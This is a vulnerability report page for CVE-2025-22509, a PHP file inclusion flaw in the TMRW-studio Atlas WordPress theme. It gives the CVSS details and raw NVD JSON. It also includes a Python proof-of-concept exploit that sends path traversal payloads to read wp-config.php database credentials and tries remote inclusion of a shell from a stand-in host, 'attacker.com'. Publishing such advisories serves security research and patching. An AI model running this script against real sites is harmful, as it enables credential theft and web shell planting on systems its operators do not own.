Security Vulnerability Report
中文
CVE-2025-22509 CVSS 8.1 HIGH

CVE-2025-22509

Published: 2026-01-08 10:15:47
Last Modified: 2026-04-27 19:16:11

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in TMRW-studio Atlas atlas allows PHP Local File Inclusion.This issue affects Atlas: from n/a through <= 2.1.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TMRW-studio Atlas WordPress主题 <= 2.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-22509 PoC - TMRW-studio Atlas LFI/RFI # Reference: https://patchstack.com/database/Wordpress/Theme/atlas/vulnerability/wordpress-atlas-theme-2-1-0-local-file-inclusion-vulnerability import requests import sys TARGET_URL = "http://target-site.com/" # Adjust the vulnerable parameter name based on actual testing VULNERABLE_PARAM = "file" # or "template", "page", etc. def test_lfi(): """Test Local File Inclusion vulnerability""" print("[*] Testing Local File Inclusion...") # Try to read wp-config.php payloads = [ "../../../../wp-config.php", "../../../../../wp-config.php", "....//....//....//wp-config.php", ] for payload in payloads: try: url = f"{TARGET_URL}?{VULNERABLE_PARAM}={payload}" response = requests.get(url, timeout=10) if "DB_NAME" in response.text or "DB_USER" in response.text: print(f"[+] VULNERABLE! Found wp-config.php content") print(f"[+] Payload: {payload}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def test_rfi(): """Test Remote File Inclusion vulnerability (if allow_url_include is On)""" print("[*] Testing Remote File Inclusion...") # Attacker-controlled server with malicious PHP malicious_url = "http://attacker.com/shell.txt" try: url = f"{TARGET_URL}?{VULNERABLE_PARAM}={malicious_url}" response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Potential RFI - Check if shell was executed") except requests.RequestException: pass if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] CVE-2025-22509 PoC for {TARGET_URL}") print("=" * 50) test_lfi() test_rfi() print("[*] Testing complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22509", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:47.337", "lastModified": "2026-04-27T19:16:11.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in TMRW-studio Atlas atlas allows PHP Local File Inclusion.This issue affects Atlas: from n/a through <= 2.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/atlas/vulnerability/wordpress-atlas-theme-2-1-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}